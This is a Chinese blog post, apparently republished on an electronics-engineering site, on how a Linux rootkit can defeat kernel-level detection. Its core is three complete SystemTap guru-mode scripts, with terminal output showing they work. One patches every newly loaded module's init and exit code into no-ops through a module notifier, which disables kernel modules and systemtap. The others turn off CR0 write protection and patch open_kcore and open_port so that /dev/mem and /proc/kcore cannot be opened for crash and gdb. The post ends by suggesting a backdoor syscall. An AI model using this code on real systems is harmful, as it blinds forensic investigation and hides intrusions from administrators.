吴忠躺衫网络科技有限公司

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線(xiàn)課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Linux Rootkit如何避開(kāi)內(nèi)核檢測(cè)的

Linux閱碼場(chǎng) ? 來(lái)源:Linuxer ? 2020-06-03 15:56 ? 次閱讀

Rootkit在登堂入室并得手后,還要記得把門(mén)鎖上。

如果我們想注入一個(gè)Rootkit到內(nèi)核,同時(shí)不想被偵測(cè)到,那么我們需要做的是精妙的隱藏,并保持低調(diào)靜悄悄,這個(gè)話(huà)題我已經(jīng)談過(guò)了,諸如進(jìn)程摘鏈,TCP鏈接摘鏈潛伏等等,詳情參見(jiàn):https://blog.csdn.net/dog250/article/details/105371830

https://blog.csdn.net/dog250/article/details/105394840

然則天網(wǎng)恢恢,疏而不漏,馬腳總是要露出來(lái)的。如果已經(jīng)被懷疑,如何反制呢?

其實(shí)第一時(shí)間采取反制措施勢(shì)必重要!我們需要的只是占領(lǐng)制高點(diǎn),讓后續(xù)的偵測(cè)手段無(wú)從開(kāi)展。

我們必須知道都有哪些偵測(cè)措施用來(lái)應(yīng)對(duì)Rootkit,常見(jiàn)的,不外乎以下:

systemtap,raw kprobe/jprobe,ftrace等跟蹤機(jī)制。它們通過(guò)內(nèi)核模塊起作用。

自研內(nèi)核模塊,采用指令特征匹配,指令校驗(yàn)機(jī)制排查Rootkit。

gdb/kdb/crash調(diào)試機(jī)制,它們通過(guò)/dev/mem,/proc/kcore起作用。

和殺毒軟件打架一樣,Rootkit和反Rootkit也是互搏的對(duì)象。無(wú)論如何互搏,其戰(zhàn)場(chǎng)均在內(nèi)核態(tài)。

很顯然,我們要做的就是:

第一時(shí)間封堵內(nèi)核模塊的加載。

第一時(shí)間封堵/dev/mem,/proc/kcore的打開(kāi)。

行文至此,我們應(yīng)該已經(jīng)可以說(shuō)出無(wú)數(shù)種方法來(lái)完成上面的事情,對(duì)我個(gè)人而言,我的風(fēng)格肯定又是二進(jìn)制hook,但這次我希望用一種正規(guī)的方式來(lái)搞事情。

什么是正規(guī)的方式,什么又是奇技淫巧呢?

我們知道,Linux內(nèi)核的text段是在編譯時(shí)靜態(tài)確定的,加載時(shí)偶爾有重定向,但依然保持著緊湊的布局,所有的內(nèi)核函數(shù)均在一個(gè)范圍固定的緊湊內(nèi)存空間內(nèi)。

因此凡是往超過(guò)該固定范圍的地方進(jìn)行call/jmp的,基本都是違規(guī),都應(yīng)該嚴(yán)查。換句話(huà)說(shuō),靜態(tài)代碼不能往動(dòng)態(tài)內(nèi)存進(jìn)行直接的call/jmp(畢竟靜態(tài)代碼并不知道動(dòng)態(tài)地址啊),如果靜態(tài)代碼需要?jiǎng)討B(tài)的函數(shù)完成某種任務(wù),那么只能用回調(diào),而回調(diào)函數(shù)在指令層面是要借助寄存器來(lái)尋址的,而不可能用rel32立即數(shù)來(lái)尋址。

如果我們?cè)陟o態(tài)的代碼中hack掉一條call/jmp指令,使得它以新的立即數(shù)作為操作數(shù)call/jmp到我們的動(dòng)態(tài)代碼,那么這就是一個(gè)奇技淫巧,這就是不正規(guī)的方式。

反之,如果我們調(diào)用Linux內(nèi)核現(xiàn)成的接口注冊(cè)一個(gè)回調(diào)函數(shù)來(lái)完成我們的任務(wù),那么這就是一種正規(guī)的方式,本文中我將使用一種基于內(nèi)核通知鏈(notifier chain)的正規(guī)技術(shù),來(lái)封堵內(nèi)核模塊。

下面步入正題。

首先,我們來(lái)看第一點(diǎn)。下面的stap腳本展示了如何做:

#!/usr/bin/stap -g

// dismod.stp

%{

// 我們利用通知鏈機(jī)制。

// 每當(dāng)內(nèi)核模塊進(jìn)行加載時(shí),都會(huì)有消息在通知鏈上通知,我們只需要注冊(cè)一個(gè)handler。

// 我們的handler讓該模塊“假加載”!

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 為了避免校準(zhǔn)rel32調(diào)用偏移,直接使用匯編

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模塊的init函數(shù)換成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模塊的exit函數(shù)換成"return;" 防止偵測(cè)模塊在exit函數(shù)中做一些事情。

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function dismod()

%{

int ret = 0;

// 正規(guī)的方法,我們可以直接從vmalloc區(qū)域直接分配內(nèi)存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必須使用__vmalloc接口分配可執(zhí)行(PAGE_KERNEL_EXEC)內(nèi)存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notifier register failed ");

return;

}

%}

probe begin

{

dismod();

exit();

}

現(xiàn)在,讓我們運(yùn)行上述腳本:

[root@localhost test]# ./dismod.stp

[root@localhost test]#

我們的預(yù)期是,此后所有的模塊將會(huì)“假裝”成功加載進(jìn)內(nèi)核,但實(shí)際上并不起任何作用,因?yàn)槟K的_init函數(shù)被短路繞過(guò),不再執(zhí)行。

來(lái)吧,我們寫(xiě)一個(gè)簡(jiǎn)單的內(nèi)核模塊,看看效果:

// testmod.c

#include

noinline int test_module_function(int i)

{

printk("%d ", i);

// 我們的測(cè)試模塊非常狠,一加載就讓內(nèi)核panic。

panic("shabi");

}

static int __init testmod_init(void)

{

printk("init ");

test_module_function(1234);

return 0;

}

static void __exit testmod_exit(void)

{

printk("exit ");

}

module_init(testmod_init);

module_exit(testmod_exit);

MODULE_LICENSE("GPL");

如果我們?cè)跊](méi)有執(zhí)行dismod.stp的情況下加載上述模塊,顯而易見(jiàn),內(nèi)核會(huì)panic,萬(wàn)劫不復(fù)。但實(shí)際上呢?

編譯,加載之:

[root@localhost test]# insmod ./testmod.ko

[root@localhost test]# lsmod |grep testmod

testmod 12472 0

[root@localhost test]# cat /proc/kallsyms |grep testmod

ffffffffa010b027 t testmod_exit [testmod]

ffffffffa010d000 d __this_module [testmod]

ffffffffa010b000 t test_module_function [testmod]

ffffffffa010b027 t cleanup_module [testmod]

[root@localhost test]# rmmod testmod

[root@localhost test]#

[root@localhost test]# echo $?

0

內(nèi)核什么也沒(méi)有打印,也并沒(méi)有panic,相反,模塊成功載入,并且其所有的符號(hào)均已經(jīng)注冊(cè)成功,并且還能成功卸載。這意味著,模塊機(jī)制失效了!

我們?cè)囋囘€能使用systemtap么?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork "); }'

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.

WARNING: /usr/bin/staprun exited with status: 1

Pass 5: run failed. [man error::pass5]

看來(lái)不行了。

假設(shè)該機(jī)制用于Rootkit的反偵測(cè),如果想用stap跟蹤內(nèi)核,進(jìn)而查出異常點(diǎn),這一招已經(jīng)失效。

接下來(lái),讓我們封堵/dev/mem,/proc/kcore,而這個(gè)簡(jiǎn)直太容易了:

#!/usr/bin/stap -g

// diskcore.stp

function kcore_poke()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;即返回錯(cuò)誤!也就意味著“文件不可打開(kāi)”。

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 這次我們俗套一把,不用text poke,借用更簡(jiǎn)單的CR0來(lái)完成text的寫(xiě)。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

// text內(nèi)存已經(jīng)可寫(xiě),直接用memcpy來(lái)吧。

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

probe begin

{

kcore_poke();

exit();

}

來(lái)吧,我們?cè)囈幌耤rash命令:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem

...

This program has absolutely no warranty. Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS] (dumpfile form)

crash [OPTION]... [NAMELIST] (live system form)

Enter "crash -h" for details.

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore

...

crash: /proc/kcore: Operation not permitted

...

哈哈,完全無(wú)法調(diào)試live kernel了!試問(wèn)如何抓住Rootkit現(xiàn)場(chǎng)?

注意,上面的兩個(gè)機(jī)制,必須讓禁用/dev/mem,/proc/kcore先于封堵模塊執(zhí)行,不然就會(huì)犯形而上學(xué)的錯(cuò)誤,自己打自己。上述方案僅做演示,正確的做法應(yīng)該是將它們合在一起:

#!/usr/bin/stap -g

// anti-sense.stp

%{

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 為了避免校準(zhǔn)rel32調(diào)用偏移,直接使用匯編。

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模塊的init函數(shù)換成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模塊的exit函數(shù)換成"return;"

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function diskcore()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 這次我們俗套一把,不用text poke,借用更簡(jiǎn)單的CR0來(lái)完成text的寫(xiě)。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

function dismod()

%{

int ret = 0;

// 正規(guī)的方法,我們可以直接從vmalloc區(qū)域直接分配內(nèi)存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必須使用__vmalloc接口分配可執(zhí)行(PAGE_KERNEL_EXEC)內(nèi)存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

printk("notify addr:%p ", _dismod_module_notify);

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notify register failed ");

return;

}

%}

probe begin

{

dismod();

diskcore();

exit();

}

從此以后,若想逮到之前的那些Rootkit,你無(wú)法加載內(nèi)核模塊,無(wú)法crash調(diào)試,無(wú)法自己編程mmap /dev/mem,重啟吧!重啟之后呢?一切歸于塵土。

然而,我們自己怎么辦?這將把我們自己的退路也同時(shí)封死,只要使用電壓凍結(jié)住內(nèi)存快照,離線(xiàn)分析,真相必將大白!我們必須給自己留個(gè)退路,以便搗毀并恢復(fù)現(xiàn)場(chǎng)后,全身而退,怎么做到呢?

很容易,還記得在文章“Linux動(dòng)態(tài)為內(nèi)核添加新的系統(tǒng)調(diào)用”中的方法嗎?我們封堵了前門(mén)的同時(shí),以新增系統(tǒng)調(diào)用的方式留下后門(mén),豈不是很正常的想法?

是的。經(jīng)理也是這樣想的。

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • TCP
    TCP
    +關(guān)注

    關(guān)注

    8

    文章

    1378

    瀏覽量

    79311
  • rootkit
    +關(guān)注

    關(guān)注

    0

    文章

    8

    瀏覽量

    2720

原文標(biāo)題:Linux Rootkit如何避開(kāi)內(nèi)核檢測(cè)的

文章出處:【微信號(hào):LinuxDev,微信公眾號(hào):Linux閱碼場(chǎng)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    AN-348: 避開(kāi)無(wú)源元件的陷阱

    電子發(fā)燒友網(wǎng)站提供《AN-348: 避開(kāi)無(wú)源元件的陷阱.pdf》資料免費(fèi)下載
    發(fā)表于 01-13 15:14 ?0次下載
    AN-348: <b class='flag-5'>避開(kāi)</b>無(wú)源元件的陷阱

    騰訊云內(nèi)核團(tuán)隊(duì)修復(fù)Linux關(guān)鍵Bug

    騰訊云操作系統(tǒng)(Tencent OS)內(nèi)核團(tuán)隊(duì)近日在Linux社區(qū)取得了顯著成果。他們提交的兩項(xiàng)改進(jìn)方案,成功解決了自2021年以來(lái)一直困擾眾多一線(xiàn)廠(chǎng)商,并在近期讓多個(gè)Linux頂級(jí)
    的頭像 發(fā)表于 12-31 10:58 ?287次閱讀

    嵌入式學(xué)習(xí)-飛凌嵌入式ElfBoard ELF 1板卡-Linux內(nèi)核移植之內(nèi)核簡(jiǎn)介

    學(xué)到本章節(jié),大家應(yīng)該對(duì)Linux操作系統(tǒng)都有了一定的了解,但可能還不知道我們拿到手的內(nèi)核源碼都經(jīng)歷了什么。linux有一個(gè)龐大的開(kāi)源社區(qū),每個(gè)人都可以向開(kāi)源社區(qū)提交代碼。由于linux
    發(fā)表于 12-16 13:08

    飛凌嵌入式ElfBoard ELF 1板卡-Linux內(nèi)核移植之內(nèi)核簡(jiǎn)介

    學(xué)到本章節(jié),大家應(yīng)該對(duì)Linux操作系統(tǒng)都有了一定的了解,但可能還不知道我們拿到手的內(nèi)核源碼都經(jīng)歷了什么。linux有一個(gè)龐大的開(kāi)源社區(qū),每個(gè)人都可以向開(kāi)源社區(qū)提交代碼。由于linux
    發(fā)表于 12-13 09:03

    deepin社區(qū)亮相第19屆中國(guó)Linux內(nèi)核開(kāi)發(fā)者大會(huì)

    中國(guó) Linux 內(nèi)核開(kāi)發(fā)者大會(huì),作為中國(guó) Linux 內(nèi)核領(lǐng)域最具影響力的峰會(huì)之一,一直以來(lái)都備受矚目。
    的頭像 發(fā)表于 10-29 16:35 ?577次閱讀

    linux內(nèi)核中通用HID觸摸驅(qū)動(dòng)

    linux內(nèi)核中,為HID觸摸面板實(shí)現(xiàn)了一個(gè)通用的驅(qū)動(dòng)程序,位于/drivers/hid/hid-multitouch.c文件中。hid觸摸驅(qū)動(dòng)是以struct hid_driver實(shí)現(xiàn),首先定義一個(gè)描述hid觸摸驅(qū)動(dòng)的結(jié)構(gòu)mt_driver。
    的頭像 發(fā)表于 10-29 10:55 ?970次閱讀
    <b class='flag-5'>linux</b><b class='flag-5'>內(nèi)核</b>中通用HID觸摸驅(qū)動(dòng)

    詳解linux內(nèi)核的uevent機(jī)制

    linux內(nèi)核中,uevent機(jī)制是一種內(nèi)核和用戶(hù)空間通信的機(jī)制,用于通知用戶(hù)空間應(yīng)用程序各種硬件更改或其他事件,比如插入或移除硬件設(shè)備(如USB驅(qū)動(dòng)器或網(wǎng)絡(luò)接口)。uevent表示“用戶(hù)空間
    的頭像 發(fā)表于 09-29 17:01 ?953次閱讀

    linux驅(qū)動(dòng)程序如何加載進(jìn)內(nèi)核

    Linux系統(tǒng)中,驅(qū)動(dòng)程序是內(nèi)核與硬件設(shè)備之間的橋梁。它們?cè)试S內(nèi)核與硬件設(shè)備進(jìn)行通信,從而實(shí)現(xiàn)對(duì)硬件設(shè)備的控制和管理。 驅(qū)動(dòng)程序的編寫(xiě) 驅(qū)動(dòng)程序的編寫(xiě)是Linux驅(qū)動(dòng)開(kāi)發(fā)的基礎(chǔ)。在編
    的頭像 發(fā)表于 08-30 15:02 ?592次閱讀

    Linux內(nèi)核測(cè)試技術(shù)

    Linux 內(nèi)核Linux操作系統(tǒng)的核心部分,負(fù)責(zé)管理硬件資源和提供系統(tǒng)調(diào)用接口。隨著 Linux 內(nèi)核的不斷發(fā)展和更新,其復(fù)雜性和代碼規(guī)
    的頭像 發(fā)表于 08-13 13:42 ?589次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內(nèi)核</b>測(cè)試技術(shù)

    Linux內(nèi)核中的頁(yè)面分配機(jī)制

    Linux內(nèi)核中是如何分配出頁(yè)面的,如果我們站在CPU的角度去看這個(gè)問(wèn)題,CPU能分配出來(lái)的頁(yè)面是以物理頁(yè)面為單位的。也就是我們計(jì)算機(jī)中常講的分頁(yè)機(jī)制。本文就看下Linux內(nèi)核是如何管
    的頭像 發(fā)表于 08-07 15:51 ?352次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內(nèi)核</b>中的頁(yè)面分配機(jī)制

    歡創(chuàng)播報(bào) 華為宣布鴻蒙內(nèi)核已超越Linux內(nèi)核

    1 華為宣布鴻蒙內(nèi)核已超越Linux內(nèi)核 ? 6月21日,在華為開(kāi)發(fā)者大會(huì)上, HarmonyOS NEXT(鴻蒙NEXT)——真正獨(dú)立于安卓和iOS的鴻蒙操作系統(tǒng),正式登場(chǎng)。這是HarmonyOS
    的頭像 發(fā)表于 06-27 11:30 ?903次閱讀

    QNX與Linux基礎(chǔ)差異對(duì)比

    對(duì)于QNX系統(tǒng)和Linux系統(tǒng)的內(nèi)核差異,我們拋開(kāi)宏內(nèi)核、微內(nèi)核之類(lèi)的爭(zhēng)議不談。單純從開(kāi)發(fā)應(yīng)用的角度而言,QNX和Linux系統(tǒng)的差異到底有
    發(fā)表于 04-17 10:52 ?929次閱讀

    使用 PREEMPT_RT 在 Ubuntu 中構(gòu)建實(shí)時(shí) Linux 內(nèi)核

    盟通技術(shù)干貨構(gòu)建實(shí)時(shí)Linux內(nèi)核簡(jiǎn)介盟通技術(shù)干貨Motrotech如果需要在Linux中實(shí)現(xiàn)實(shí)時(shí)計(jì)算性能,進(jìn)而有效地將Linux轉(zhuǎn)變?yōu)镽TOS,那么大多數(shù)發(fā)行版都可以打上名為PREE
    的頭像 發(fā)表于 04-12 08:36 ?2762次閱讀
    使用 PREEMPT_RT 在 Ubuntu 中構(gòu)建實(shí)時(shí) <b class='flag-5'>Linux</b> <b class='flag-5'>內(nèi)核</b>

    微軟發(fā)布Linux內(nèi)核Rust模塊優(yōu)化補(bǔ)丁

    在此之前,Linux 內(nèi)核中要想實(shí)現(xiàn)模塊初始化,必須先創(chuàng)建一個(gè)實(shí)例,再將其移至特定內(nèi)存空間。然而,經(jīng)過(guò)新補(bǔ)丁調(diào)整后,各模塊可直接在預(yù)設(shè)定好的內(nèi)存地址上完成初始化工作。
    的頭像 發(fā)表于 04-02 15:11 ?511次閱讀

    System76更新Pop!_OS Linux至6.8內(nèi)核,新特性顯著

     據(jù)報(bào)道,美國(guó)知名 Linux PC生產(chǎn)商 System76已將其旗下的Pop!_OS Linux發(fā)行版升級(jí)至Linux 6.8內(nèi)核。此次升級(jí)優(yōu)化頗多,包含新增的硬件支持及實(shí)驗(yàn)性的英特
    的頭像 發(fā)表于 03-28 13:59 ?613次閱讀
    澳门百家乐战法| 百家乐官网游戏试| 大发888娱乐备用网址| 百家乐官网平注常赢玩法更| 辽宁省| 互联网百家乐的玩法技巧和规则| 网络百家乐官网打揽| 鑫鼎国际| 發中發百家乐的玩法技巧和规则| 游戏百家乐官网庄闲| 娱乐城注册送38彩金| 百家乐网站程序| 百家乐官网必赢法软件| 大发888娱乐城大发888达法8| 百家乐视频台球下载| 免佣百家乐官网的玩法| 壹贰博网站| 梦幻城百家乐官网的玩法技巧和规则 | 百家乐官网网站出售| 大发888游戏平台 送1688元现金礼金领取 | 百家乐路单走势图| 万宝路百家乐官网的玩法技巧和规则| 百家乐官网开发公司| 大发888游戏平台hg| 缅甸百家乐玩家吗| 澳门百家乐官网网40125| 百家乐官网投注网中国体育| 大赢家博彩网| 战神百家乐官网的玩法技巧和规则| 吉木萨尔县| 大发888娱乐城34| 百家乐破解赌戏玩| 百家乐游戏研发| 百家乐官网透明发牌靴| 百家乐官网tt娱乐城| 奇博国际娱乐网| 大发888战神娱乐| 百家乐高手怎么下注| 棋牌百家乐怎么玩| 天堂鸟百家乐官网的玩法技巧和规则| 哪个百家乐官网投注平台信誉好 |